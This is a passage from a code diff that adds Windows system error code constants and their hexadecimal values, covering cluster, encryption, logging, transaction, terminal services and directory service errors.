+ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP                                   = 0x00001728
+ERROR_DEPENDENCY_TREE_TOO_COMPLEX                                        = 0x00001729
+ERROR_EXCEPTION_IN_RESOURCE_CALL                                         = 0x0000172a
+ERROR_CLUSTER_RHS_FAILED_INITIALIZATION                                  = 0x0000172b
+ERROR_CLUSTER_NOT_INSTALLED                                              = 0x0000172c
+ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE                  = 0x0000172d
+ERROR_CLUSTER_MAX_NODES_IN_CLUSTER                                       = 0x0000172e
+ERROR_CLUSTER_TOO_MANY_NODES                                             = 0x0000172f
+ERROR_CLUSTER_OBJECT_ALREADY_USED                                        = 0x00001730
+ERROR_NONCORE_GROUPS_FOUND                                               = 0x00001731
+ERROR_FILE_SHARE_RESOURCE_CONFLICT                                       = 0x00001732
+ERROR_CLUSTER_EVICT_INVALID_REQUEST                                      = 0x00001733
+ERROR_CLUSTER_SINGLETON_RESOURCE                                         = 0x00001734
+ERROR_CLUSTER_GROUP_SINGLETON_RESOURCE                                   = 0x00001735
+ERROR_CLUSTER_RESOURCE_PROVIDER_FAILED                                   = 0x00001736
+ERROR_CLUSTER_RESOURCE_CONFIGURATION_ERROR                               = 0x00001737
+ERROR_CLUSTER_GROUP_BUSY                                                 = 0x00001738
+ERROR_CLUSTER_NOT_SHARED_VOLUME                                          = 0x00001739
+ERROR_CLUSTER_INVALID_SECURITY_DESCRIPTOR                                = 0x0000173a
+ERROR_CLUSTER_SHARED_VOLUMES_IN_USE                                      = 0x0000173b
+ERROR_CLUSTER_USE_SHARED_VOLUMES_API                                     = 0x0000173c
+ERROR_CLUSTER_BACKUP_IN_PROGRESS                                         = 0x0000173d
+ERROR_NON_CSV_PATH                                                       = 0x0000173e
+ERROR_CSV_VOLUME_NOT_LOCAL                                               = 0x0000173f
+ERROR_CLUSTER_WATCHDOG_TERMINATING                                       = 0x00001740
+ERROR_CLUSTER_RESOURCE_VETOED_MOVE_INCOMPATIBLE_NODES                    = 0x00001741
+ERROR_CLUSTER_INVALID_NODE_WEIGHT                                        = 0x00001742
+ERROR_CLUSTER_RESOURCE_VETOED_CALL                                       = 0x00001743
+ERROR_RESMON_SYSTEM_RESOURCES_LACKING                                    = 0x00001744
+ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_DESTINATION   = 0x00001745
+ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_SOURCE        = 0x00001746
+ERROR_CLUSTER_GROUP_QUEUED                                               = 0x00001747
+ERROR_CLUSTER_RESOURCE_LOCKED_STATUS                                     = 0x00001748
+ERROR_CLUSTER_SHARED_VOLUME_FAILOVER_NOT_ALLOWED                         = 0x00001749
+ERROR_CLUSTER_NODE_DRAIN_IN_PROGRESS                                     = 0x0000174a
+ERROR_CLUSTER_DISK_NOT_CONNECTED                                         = 0x0000174b
+ERROR_DISK_NOT_CSV_CAPABLE                                               = 0x0000174c
+ERROR_RESOURCE_NOT_IN_AVAILABLE_STORAGE                                  = 0x0000174d
+ERROR_CLUSTER_SHARED_VOLUME_REDIRECTED                                   = 0x0000174e
+ERROR_CLUSTER_SHARED_VOLUME_NOT_REDIRECTED                               = 0x0000174f
+ERROR_CLUSTER_CANNOT_RETURN_PROPERTIES                                   = 0x00001750
+ERROR_CLUSTER_RESOURCE_CONTAINS_UNSUPPORTED_DIFF_AREA_FOR_SHARED_VOLUMES = 0x00001751
+ERROR_CLUSTER_RESOURCE_IS_IN_MAINTENANCE_MODE                            = 0x00001752
+ERROR_CLUSTER_AFFINITY_CONFLICT                                          = 0x00001753
+ERROR_CLUSTER_RESOURCE_IS_REPLICA_VIRTUAL_MACHINE                        = 0x00001754
+ERROR_ENCRYPTION_FAILED                                                  = 0x00001770
+ERROR_DECRYPTION_FAILED                                                  = 0x00001771
+ERROR_FILE_ENCRYPTED                                                     = 0x00001772
+ERROR_NO_RECOVERY_POLICY                                                 = 0x00001773
+ERROR_NO_EFS                                                             = 0x00001774
+ERROR_WRONG_EFS                                                          = 0x00001775
+ERROR_NO_USER_KEYS                                                       = 0x00001776
+ERROR_FILE_NOT_ENCRYPTED                                                 = 0x00001777
+ERROR_NOT_EXPORT_FORMAT                                                  = 0x00001778
+ERROR_FILE_READ_ONLY                                                     = 0x00001779
+ERROR_DIR_EFS_DISALLOWED                                                 = 0x0000177a
+ERROR_EFS_SERVER_NOT_TRUSTED                                             = 0x0000177b
+ERROR_BAD_RECOVERY_POLICY                                                = 0x0000177c
+ERROR_EFS_ALG_BLOB_TOO_BIG                                               = 0x0000177d
+ERROR_VOLUME_NOT_SUPPORT_EFS                                             = 0x0000177e
+ERROR_EFS_DISABLED                                                       = 0x0000177f
+ERROR_EFS_VERSION_NOT_SUPPORT                                            = 0x00001780
+ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE                              = 0x00001781
+ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER                                   = 0x00001782
+ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE                              = 0x00001783
+ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE                                   = 0x00001784
+ERROR_CS_ENCRYPTION_FILE_NOT_CSE                                         = 0x00001785
+ERROR_ENCRYPTION_POLICY_DENIES_OPERATION                                 = 0x00001786
+ERROR_NO_BROWSER_SERVERS_FOUND                                           = 0x000017e6
+SCHED_E_SERVICE_NOT_LOCALSYSTEM                                          = 0x00001838
+ERROR_LOG_SECTOR_INVALID                                                 = 0x000019c8
+ERROR_LOG_SECTOR_PARITY_INVALID                                          = 0x000019c9
+ERROR_LOG_SECTOR_REMAPPED                                                = 0x000019ca
+ERROR_LOG_BLOCK_INCOMPLETE                                               = 0x000019cb
+ERROR_LOG_INVALID_RANGE                                                  = 0x000019cc
+ERROR_LOG_BLOCKS_EXHAUSTED                                               = 0x000019cd
+ERROR_LOG_READ_CONTEXT_INVALID                                           = 0x000019ce
+ERROR_LOG_RESTART_INVALID                                                = 0x000019cf
+ERROR_LOG_BLOCK_VERSION                                                  = 0x000019d0
+ERROR_LOG_BLOCK_INVALID                                                  = 0x000019d1
+ERROR_LOG_READ_MODE_INVALID                                              = 0x000019d2
+ERROR_LOG_NO_RESTART                                                     = 0x000019d3
+ERROR_LOG_METADATA_CORRUPT                                               = 0x000019d4
+ERROR_LOG_METADATA_INVALID                                               = 0x000019d5
+ERROR_LOG_METADATA_INCONSISTENT                                          = 0x000019d6
+ERROR_LOG_RESERVATION_INVALID                                            = 0x000019d7
+ERROR_LOG_CANT_DELETE                                                    = 0x000019d8
+ERROR_LOG_CONTAINER_LIMIT_EXCEEDED                                       = 0x000019d9
+ERROR_LOG_START_OF_LOG                                                   = 0x000019da
+ERROR_LOG_POLICY_ALREADY_INSTALLED                                       = 0x000019db
+ERROR_LOG_POLICY_NOT_INSTALLED                                           = 0x000019dc
+ERROR_LOG_POLICY_INVALID                                                 = 0x000019dd
+ERROR_LOG_POLICY_CONFLICT                                                = 0x000019de
+ERROR_LOG_PINNED_ARCHIVE_TAIL                                            = 0x000019df
+ERROR_LOG_RECORD_NONEXISTENT                                             = 0x000019e0
+ERROR_LOG_RECORDS_RESERVED_INVALID                                       = 0x000019e1
+ERROR_LOG_SPACE_RESERVED_INVALID                                         = 0x000019e2
+ERROR_LOG_TAIL_INVALID                                                   = 0x000019e3
+ERROR_LOG_FULL                                                           = 0x000019e4
+ERROR_COULD_NOT_RESIZE_LOG                                               = 0x000019e5
+ERROR_LOG_MULTIPLEXED                                                    = 0x000019e6
+ERROR_LOG_DEDICATED                                                      = 0x000019e7
+ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS                                        = 0x000019e8
+ERROR_LOG_ARCHIVE_IN_PROGRESS                                            = 0x000019e9
+ERROR_LOG_EPHEMERAL                                                      = 0x000019ea
+ERROR_LOG_NOT_ENOUGH_CONTAINERS                                          = 0x000019eb
+ERROR_LOG_CLIENT_ALREADY_REGISTERED                                      = 0x000019ec
+ERROR_LOG_CLIENT_NOT_REGISTERED                                          = 0x000019ed
+ERROR_LOG_FULL_HANDLER_IN_PROGRESS                                       = 0x000019ee
+ERROR_LOG_CONTAINER_READ_FAILED                                          = 0x000019ef
+ERROR_LOG_CONTAINER_WRITE_FAILED                                         = 0x000019f0
+ERROR_LOG_CONTAINER_OPEN_FAILED                                          = 0x000019f1
+ERROR_LOG_CONTAINER_STATE_INVALID                                        = 0x000019f2
+ERROR_LOG_STATE_INVALID                                                  = 0x000019f3
+ERROR_LOG_PINNED                                                         = 0x000019f4
+ERROR_LOG_METADATA_FLUSH_FAILED                                          = 0x000019f5
+ERROR_LOG_INCONSISTENT_SECURITY                                          = 0x000019f6
+ERROR_LOG_APPENDED_FLUSH_FAILED                                          = 0x000019f7
+ERROR_LOG_PINNED_RESERVATION                                             = 0x000019f8
+ERROR_INVALID_TRANSACTION                                                = 0x00001a2c
+ERROR_TRANSACTION_NOT_ACTIVE                                             = 0x00001a2d
+ERROR_TRANSACTION_REQUEST_NOT_VALID                                      = 0x00001a2e
+ERROR_TRANSACTION_NOT_REQUESTED                                          = 0x00001a2f
+ERROR_TRANSACTION_ALREADY_ABORTED                                        = 0x00001a30
+ERROR_TRANSACTION_ALREADY_COMMITTED                                      = 0x00001a31
+ERROR_TM_INITIALIZATION_FAILED                                           = 0x00001a32
+ERROR_RESOURCEMANAGER_READ_ONLY                                          = 0x00001a33
+ERROR_TRANSACTION_NOT_JOINED                                             = 0x00001a34
+ERROR_TRANSACTION_SUPERIOR_EXISTS                                        = 0x00001a35
+ERROR_CRM_PROTOCOL_ALREADY_EXISTS                                        = 0x00001a36
+ERROR_TRANSACTION_PROPAGATION_FAILED                                     = 0x00001a37
+ERROR_CRM_PROTOCOL_NOT_FOUND                                             = 0x00001a38
+ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER                                = 0x00001a39
+ERROR_CURRENT_TRANSACTION_NOT_VALID                                      = 0x00001a3a
+ERROR_TRANSACTION_NOT_FOUND                                              = 0x00001a3b
+ERROR_RESOURCEMANAGER_NOT_FOUND                                          = 0x00001a3c
+ERROR_ENLISTMENT_NOT_FOUND                                               = 0x00001a3d
+ERROR_TRANSACTIONMANAGER_NOT_FOUND                                       = 0x00001a3e
+ERROR_TRANSACTIONMANAGER_NOT_ONLINE                                      = 0x00001a3f
+ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION                         = 0x00001a40
+ERROR_TRANSACTION_NOT_ROOT                                               = 0x00001a41
+ERROR_TRANSACTION_OBJECT_EXPIRED                                         = 0x00001a42
+ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED                                  = 0x00001a43
+ERROR_TRANSACTION_RECORD_TOO_LONG                                        = 0x00001a44
+ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED                                 = 0x00001a45
+ERROR_TRANSACTION_INTEGRITY_VIOLATED                                     = 0x00001a46
+ERROR_TRANSACTIONMANAGER_IDENTITY_MISMATCH                               = 0x00001a47
+ERROR_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT                                   = 0x00001a48
+ERROR_TRANSACTION_MUST_WRITETHROUGH                                      = 0x00001a49
+ERROR_TRANSACTION_NO_SUPERIOR                                            = 0x00001a4a
+ERROR_HEURISTIC_DAMAGE_POSSIBLE                                          = 0x00001a4b
+ERROR_TRANSACTIONAL_CONFLICT                                             = 0x00001a90
+ERROR_RM_NOT_ACTIVE                                                      = 0x00001a91
+ERROR_RM_METADATA_CORRUPT                                                = 0x00001a92
+ERROR_DIRECTORY_NOT_RM                                                   = 0x00001a93
+ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE                                    = 0x00001a95
+ERROR_LOG_RESIZE_INVALID_SIZE                                            = 0x00001a96
+ERROR_OBJECT_NO_LONGER_EXISTS                                            = 0x00001a97
+ERROR_STREAM_MINIVERSION_NOT_FOUND                                       = 0x00001a98
+ERROR_STREAM_MINIVERSION_NOT_VALID                                       = 0x00001a99
+ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION                = 0x00001a9a
+ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT                           = 0x00001a9b
+ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS                               = 0x00001a9c
+ERROR_REMOTE_FILE_VERSION_MISMATCH                                       = 0x00001a9e
+ERROR_HANDLE_NO_LONGER_VALID                                             = 0x00001a9f
+ERROR_NO_TXF_METADATA                                                    = 0x00001aa0
+ERROR_LOG_CORRUPTION_DETECTED                                            = 0x00001aa1
+ERROR_CANT_RECOVER_WITH_HANDLE_OPEN                                      = 0x00001aa2
+ERROR_RM_DISCONNECTED                                                    = 0x00001aa3
+ERROR_ENLISTMENT_NOT_SUPERIOR                                            = 0x00001aa4
+ERROR_RECOVERY_NOT_NEEDED                                                = 0x00001aa5
+ERROR_RM_ALREADY_STARTED                                                 = 0x00001aa6
+ERROR_FILE_IDENTITY_NOT_PERSISTENT                                       = 0x00001aa7
+ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY                                = 0x00001aa8
+ERROR_CANT_CROSS_RM_BOUNDARY                                             = 0x00001aa9
+ERROR_TXF_DIR_NOT_EMPTY                                                  = 0x00001aaa
+ERROR_INDOUBT_TRANSACTIONS_EXIST                                         = 0x00001aab
+ERROR_TM_VOLATILE                                                        = 0x00001aac
+ERROR_ROLLBACK_TIMER_EXPIRED                                             = 0x00001aad
+ERROR_TXF_ATTRIBUTE_CORRUPT                                              = 0x00001aae
+ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION                                     = 0x00001aaf
+ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED                                     = 0x00001ab0
+ERROR_LOG_GROWTH_FAILED                                                  = 0x00001ab1
+ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE                              = 0x00001ab2
+ERROR_TXF_METADATA_ALREADY_PRESENT                                       = 0x00001ab3
+ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET                                = 0x00001ab4
+ERROR_TRANSACTION_REQUIRED_PROMOTION                                     = 0x00001ab5
+ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION                                 = 0x00001ab6
+ERROR_TRANSACTIONS_NOT_FROZEN                                            = 0x00001ab7
+ERROR_TRANSACTION_FREEZE_IN_PROGRESS                                     = 0x00001ab8
+ERROR_NOT_SNAPSHOT_VOLUME                                                = 0x00001ab9
+ERROR_NO_SAVEPOINT_WITH_OPEN_FILES                                       = 0x00001aba
+ERROR_DATA_LOST_REPAIR                                                   = 0x00001abb
+ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION                                  = 0x00001abc
+ERROR_TM_IDENTITY_MISMATCH                                               = 0x00001abd
+ERROR_FLOATED_SECTION                                                    = 0x00001abe
+ERROR_CANNOT_ACCEPT_TRANSACTED_WORK                                      = 0x00001abf
+ERROR_CANNOT_ABORT_TRANSACTIONS                                          = 0x00001ac0
+ERROR_BAD_CLUSTERS                                                       = 0x00001ac1
+ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION                             = 0x00001ac2
+ERROR_VOLUME_DIRTY                                                       = 0x00001ac3
+ERROR_NO_LINK_TRACKING_IN_TRANSACTION                                    = 0x00001ac4
+ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION                             = 0x00001ac5
+ERROR_EXPIRED_HANDLE                                                     = 0x00001ac6
+ERROR_TRANSACTION_NOT_ENLISTED                                           = 0x00001ac7
+ERROR_CTX_WINSTATION_NAME_INVALID                                        = 0x00001b59
+ERROR_CTX_INVALID_PD                                                     = 0x00001b5a
+ERROR_CTX_PD_NOT_FOUND                                                   = 0x00001b5b
+ERROR_CTX_WD_NOT_FOUND                                                   = 0x00001b5c
+ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY                                     = 0x00001b5d
+ERROR_CTX_SERVICE_NAME_COLLISION                                         = 0x00001b5e
+ERROR_CTX_CLOSE_PENDING                                                  = 0x00001b5f
+ERROR_CTX_NO_OUTBUF                                                      = 0x00001b60
+ERROR_CTX_MODEM_INF_NOT_FOUND                                            = 0x00001b61
+ERROR_CTX_INVALID_MODEMNAME                                              = 0x00001b62
+ERROR_CTX_MODEM_RESPONSE_ERROR                                           = 0x00001b63
+ERROR_CTX_MODEM_RESPONSE_TIMEOUT                                         = 0x00001b64
+ERROR_CTX_MODEM_RESPONSE_NO_CARRIER                                      = 0x00001b65
+ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE                                     = 0x00001b66
+ERROR_CTX_MODEM_RESPONSE_BUSY                                            = 0x00001b67
+ERROR_CTX_MODEM_RESPONSE_VOICE                                           = 0x00001b68
+ERROR_CTX_TD_ERROR                                                       = 0x00001b69
+ERROR_CTX_WINSTATION_NOT_FOUND                                           = 0x00001b6e
+ERROR_CTX_WINSTATION_ALREADY_EXISTS                                      = 0x00001b6f
+ERROR_CTX_WINSTATION_BUSY                                                = 0x00001b70
+ERROR_CTX_BAD_VIDEO_MODE                                                 = 0x00001b71
+ERROR_CTX_GRAPHICS_INVALID                                               = 0x00001b7b
+ERROR_CTX_LOGON_DISABLED                                                 = 0x00001b7d
+ERROR_CTX_NOT_CONSOLE                                                    = 0x00001b7e
+ERROR_CTX_CLIENT_QUERY_TIMEOUT                                           = 0x00001b80
+ERROR_CTX_CONSOLE_DISCONNECT                                             = 0x00001b81
+ERROR_CTX_CONSOLE_CONNECT                                                = 0x00001b82
+ERROR_CTX_SHADOW_DENIED                                                  = 0x00001b84
+ERROR_CTX_WINSTATION_ACCESS_DENIED                                       = 0x00001b85
+ERROR_CTX_INVALID_WD                                                     = 0x00001b89
+ERROR_CTX_SHADOW_INVALID                                                 = 0x00001b8a
+ERROR_CTX_SHADOW_DISABLED                                                = 0x00001b8b
+ERROR_CTX_CLIENT_LICENSE_IN_USE                                          = 0x00001b8c
+ERROR_CTX_CLIENT_LICENSE_NOT_SET                                         = 0x00001b8d
+ERROR_CTX_LICENSE_NOT_AVAILABLE                                          = 0x00001b8e
+ERROR_CTX_LICENSE_CLIENT_INVALID                                         = 0x00001b8f
+ERROR_CTX_LICENSE_EXPIRED                                                = 0x00001b90
+ERROR_CTX_SHADOW_NOT_RUNNING                                             = 0x00001b91
+ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE                                    = 0x00001b92
+ERROR_ACTIVATION_COUNT_EXCEEDED                                          = 0x00001b93
+ERROR_CTX_WINSTATIONS_DISABLED                                           = 0x00001b94
+ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED                                      = 0x00001b95
+ERROR_CTX_SESSION_IN_USE                                                 = 0x00001b96
+ERROR_CTX_NO_FORCE_LOGOFF                                                = 0x00001b97
+ERROR_CTX_ACCOUNT_RESTRICTION                                            = 0x00001b98
+ERROR_RDP_PROTOCOL_ERROR                                                 = 0x00001b99
+ERROR_CTX_CDM_CONNECT                                                    = 0x00001b9a
+ERROR_CTX_CDM_DISCONNECT                                                 = 0x00001b9b
+ERROR_CTX_SECURITY_LAYER_ERROR                                           = 0x00001b9c
+ERROR_TS_INCOMPATIBLE_SESSIONS                                           = 0x00001b9d
+ERROR_TS_VIDEO_SUBSYSTEM_ERROR                                           = 0x00001b9e
+FRS_ERR_INVALID_API_SEQUENCE                                             = 0x00001f41
+FRS_ERR_STARTING_SERVICE                                                 = 0x00001f42
+FRS_ERR_STOPPING_SERVICE                                                 = 0x00001f43
+FRS_ERR_INTERNAL_API                                                     = 0x00001f44
+FRS_ERR_INTERNAL                                                         = 0x00001f45
+FRS_ERR_SERVICE_COMM                                                     = 0x00001f46
+FRS_ERR_INSUFFICIENT_PRIV                                                = 0x00001f47
+FRS_ERR_AUTHENTICATION                                                   = 0x00001f48
+FRS_ERR_PARENT_INSUFFICIENT_PRIV                                         = 0x00001f49
+FRS_ERR_PARENT_AUTHENTICATION                                            = 0x00001f4a
+FRS_ERR_CHILD_TO_PARENT_COMM                                             = 0x00001f4b
+FRS_ERR_PARENT_TO_CHILD_COMM                                             = 0x00001f4c
+FRS_ERR_SYSVOL_POPULATE                                                  = 0x00001f4d
+FRS_ERR_SYSVOL_POPULATE_TIMEOUT                                          = 0x00001f4e
+FRS_ERR_SYSVOL_IS_BUSY                                                   = 0x00001f4f
+FRS_ERR_SYSVOL_DEMOTE                                                    = 0x00001f50
+FRS_ERR_INVALID_SERVICE_PARAMETER                                        = 0x00001f51
+ERROR_DS_NOT_INSTALLED                                                   = 0x00002008
+ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY                                    = 0x00002009
+ERROR_DS_NO_ATTRIBUTE_OR_VALUE                                           = 0x0000200a
+ERROR_DS_INVALID_ATTRIBUTE_SYNTAX                                        = 0x0000200b
+ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED                                        = 0x0000200c
+ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS                                       = 0x0000200d
+ERROR_DS_BUSY                                                            = 0x0000200e
+ERROR_DS_UNAVAILABLE                                                     = 0x0000200f
+ERROR_DS_NO_RIDS_ALLOCATED                                               = 0x00002010
+ERROR_DS_NO_MORE_RIDS                                                    = 0x00002011
+ERROR_DS_INCORRECT_ROLE_OWNER                                            = 0x00002012
+ERROR_DS_RIDMGR_INIT_ERROR                                               = 0x00002013
+ERROR_DS_OBJ_CLASS_VIOLATION                                             = 0x00002014
+ERROR_DS_CANT_ON_NON_LEAF                                                = 0x00002015
+ERROR_DS_CANT_ON_RDN                                                     = 0x00002016
+ERROR_DS_CANT_MOD_OBJ_CLASS                                              = 0x00002017
+ERROR_DS_CROSS_DOM_MOVE_ERROR                                            = 0x00002018
+ERROR_DS_GC_NOT_AVAILABLE                                                = 0x00002019
+ERROR_SHARED_POLICY                                                      = 0x0000201a
+ERROR_POLICY_OBJECT_NOT_FOUND                                            = 0x0000201b
+ERROR_POLICY_ONLY_IN_DS                                                  = 0x0000201c
+ERROR_PROMOTION_ACTIVE                                                   = 0x0000201d
+ERROR_NO_PROMOTION_ACTIVE                                                = 0x0000201e
+ERROR_DS_OPERATIONS_ERROR                                                = 0x00002020
+ERROR_DS_PROTOCOL_ERROR                                                  = 0x00002021
+ERROR_DS_TIMELIMIT_EXCEEDED                                              = 0x00002022
+ERROR_DS_SIZELIMIT_EXCEEDED                                              = 0x00002023
+ERROR_DS_ADMIN_LIMIT_EXCEEDED                                            = 0x00002024
+ERROR_DS_COMPARE_FALSE                                                   = 0x00002025
+ERROR_DS_COMPARE_TRUE                                                    = 0x00002026
+ERROR_DS_AUTH_METHOD_NOT_SUPPORTED                                       = 0x00002027
+ERROR_DS_STRONG_AUTH_REQUIRED                                            = 0x00002028
+ERROR_DS_INAPPROPRIATE_AUTH                                              = 0x00002029
+ERROR_DS_AUTH_UNKNOWN                                                    = 0x0000202a
+ERROR_DS_REFERRAL                                                        = 0x0000202b
+ERROR_DS_UNAVAILABLE_CRIT_EXTENSION                                      = 0x0000202c
+ERROR_DS_CONFIDENTIALITY_REQUIRED                                        = 0x0000202d
+ERROR_DS_INAPPROPRIATE_MATCHING                                          = 0x0000202e
+ERROR_DS_CONSTRAINT_VIOLATION                                            = 0x0000202f
+ERROR_DS_NO_SUCH_OBJECT                                                  = 0x00002030
+ERROR_DS_ALIAS_PROBLEM                                                   = 0x00002031
+ERROR_DS_INVALID_DN_SYNTAX                                               = 0x00002032
+ERROR_DS_IS_LEAF                                                         = 0x00002033
+ERROR_DS_ALIAS_DEREF_PROBLEM                                             = 0x00002034
+ERROR_DS_UNWILLING_TO_PERFORM                                            = 0x00002035
+ERROR_DS_LOOP_DETECT                                                     = 0x00002036
+ERROR_DS_NAMING_VIOLATION                                                = 0x00002037
+ERROR_DS_OBJECT_RESULTS_TOO_LARGE                                        = 0x00002038
+ERROR_DS_AFFECTS_MULTIPLE_DSAS                                           = 0x00002039
+ERROR_DS_SERVER_DOWN                                                     = 0x0000203a
+ERROR_DS_LOCAL_ERROR                                                     = 0x0000203b
+ERROR_DS_ENCODING_ERROR                                                  = 0x0000203c
+ERROR_DS_DECODING_ERROR                                                  = 0x0000203d
+ERROR_DS_FILTER_UNKNOWN                                                  = 0x0000203e
+ERROR_DS_PARAM_ERROR                                                     = 0x0000203f
+ERROR_DS_NOT_SUPPORTED                                                   = 0x00002040
+ERROR_DS_NO_RESULTS_RETURNED                                             = 0x00002041
+ERROR_DS_CONTROL_NOT_FOUND                                               = 0x00002042
+ERROR_DS_CLIENT_LOOP                                                     = 0x00002043
+ERROR_DS_REFERRAL_LIMIT_EXCEEDED                                         = 0x00002044
+ERROR_DS_SORT_CONTROL_MISSING                                            = 0x00002045
+ERROR_DS_OFFSET_RANGE_ERROR                                              = 0x00002046
+ERROR_DS_RIDMGR_DISABLED                                                 = 0x00002047
+ERROR_DS_ROOT_MUST_BE_NC                                                 = 0x0000206d
+ERROR_DS_ADD_REPLICA_INHIBITED                                           = 0x0000206e
+ERROR_DS_ATT_NOT_DEF_IN_SCHEMA                                           = 0x0000206f
+ERROR_DS_MAX_OBJ_SIZE_EXCEEDED                                           = 0x00002070
+ERROR_DS_OBJ_STRING_NAME_EXISTS                                          = 0x00002071
+ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA                                        = 0x00002072
+ERROR_DS_RDN_DOESNT_MATCH_SCHEMA                                         = 0x00002073
+ERROR_DS_NO_REQUESTED_ATTS_FOUND                                         = 0x00002074
+ERROR_DS_USER_BUFFER_TO_SMALL                                            = 0x00002075
+ERROR_DS_ATT_IS_NOT_ON_OBJ                                               = 0x00002076
+ERROR_DS_ILLEGAL_MOD_OPERATION                                           = 0x00002077
+ERROR_DS_OBJ_TOO_LARGE                                                   = 0x00002078
+ERROR_DS_BAD_INSTANCE_TYPE                                               = 0x00002079
+ERROR_DS_MASTERDSA_REQUIRED                                              = 0x0000207a
+ERROR_DS_OBJECT_CLASS_REQUIRED                                           = 0x0000207b
+ERROR_DS_MISSING_REQUIRED_ATT                                            = 0x0000207c
+ERROR_DS_ATT_NOT_DEF_FOR_CLASS                                           = 0x0000207d
+ERROR_DS_ATT_ALREADY_EXISTS                                              = 0x0000207e
+ERROR_DS_CANT_ADD_ATT_VALUES                                             = 0x00002080
+ERROR_DS_SINGLE_VALUE_CONSTRAINT                                         = 0x00002081
+ERROR_DS_RANGE_CONSTRAINT                                                = 0x00002082
+ERROR_DS_ATT_VAL_ALREADY_EXISTS                                          = 0x00002083
+ERROR_DS_CANT_REM_MISSING_ATT                                            = 0x00002084
+ERROR_DS_CANT_REM_MISSING_ATT_VAL                                        = 0x00002085
+ERROR_DS_ROOT_CANT_BE_SUBREF                                             = 0x00002086
+ERROR_DS_NO_CHAINING                                                     = 0x00002087
+ERROR_DS_NO_CHAINED_EVAL                                                 = 0x00002088
+ERROR_DS_NO_PARENT_OBJECT                                                = 0x00002089
+ERROR_DS_PARENT_IS_AN_ALIAS                                              = 0x0000208a
+ERROR_DS_CANT_MIX_MASTER_AND_REPS                                        = 0x0000208b
+ERROR_DS_CHILDREN_EXIST                                                  = 0x0000208c
+ERROR_DS_OBJ_NOT_FOUND                                                   = 0x0000208d
+ERROR_DS_ALIASED_OBJ_MISSING                                             = 0x0000208e
+ERROR_DS_BAD_NAME_SYNTAX                                                 = 0x0000208f
+ERROR_DS_ALIAS_POINTS_TO_ALIAS                                           = 0x00002090
+ERROR_DS_CANT_DEREF_ALIAS                                                = 0x00002091
+ERROR_DS_OUT_OF_SCOPE                                                    = 0x00002092
+ERROR_DS_OBJECT_BEING_REMOVED                                            = 0x00002093
+ERROR_DS_CANT_DELETE_DSA_OBJ                                             = 0x00002094
+ERROR_DS_GENERIC_ERROR                                                   = 0x00002095
+ERROR_DS_DSA_MUST_BE_INT_MASTER                                          = 0x00002096
+ERROR_DS_CLASS_NOT_DSA                                                   = 0x00002097
+ERROR_DS_INSUFF_ACCESS_RIGHTS                                            = 0x00002098
+ERROR_DS_ILLEGAL_SUPERIOR                                                = 0x00002099
+ERROR_DS_ATTRIBUTE_OWNED_BY_SAM                                          = 0x0000209a
+ERROR_DS_NAME_TOO_MANY_PARTS                                             = 0x0000209b
+ERROR_DS_NAME_TOO_LONG                                                   = 0x0000209c
+ERROR_DS_NAME_VALUE_TOO_LONG                                             = 0x0000209d
+ERROR_DS_NAME_UNPARSEABLE                                                = 0x0000209e
+ERROR_DS_NAME_TYPE_UNKNOWN                                               = 0x0000209f
+ERROR_DS_NOT_AN_OBJECT                                                   = 0x000020a0
+ERROR_DS_SEC_DESC_TOO_SHORT                                              = 0x000020a1
+ERROR_DS_SEC_DESC_INVALID                                                = 0x000020a2
+ERROR_DS_NO_DELETED_NAME                                                 = 0x000020a3
+ERROR_DS_SUBREF_MUST_HAVE_PARENT                                         = 0x000020a4
+ERROR_DS_NCNAME_MUST_BE_NC                                               = 0x000020a5
+ERROR_DS_CANT_ADD_SYSTEM_ONLY                                            = 0x000020a6
+ERROR_DS_CLASS_MUST_BE_CONCRETE                                          = 0x000020a7
+ERROR_DS_INVALID_DMD                                                     = 0x000020a8
+ERROR_DS_OBJ_GUID_EXISTS                                                 = 0x000020a9
+ERROR_DS_NOT_ON_BACKLINK                                                 = 0x000020aa
+ERROR_DS_NO_CROSSREF_FOR_NC                                              = 0x000020ab
+ERROR_DS_SHUTTING_DOWN                                                   = 0x000020ac
+ERROR_DS_UNKNOWN_OPERATION                                               = 0x000020ad
+ERROR_DS_INVALID_ROLE_OWNER                                              = 0x000020ae
+ERROR_DS_COULDNT_CONTACT_FSMO                                            = 0x000020af
+ERROR_DS_CROSS_NC_DN_RENAME                                              = 0x000020b0
+ERROR_DS_CANT_MOD_SYSTEM_ONLY                                            = 0x000020b1
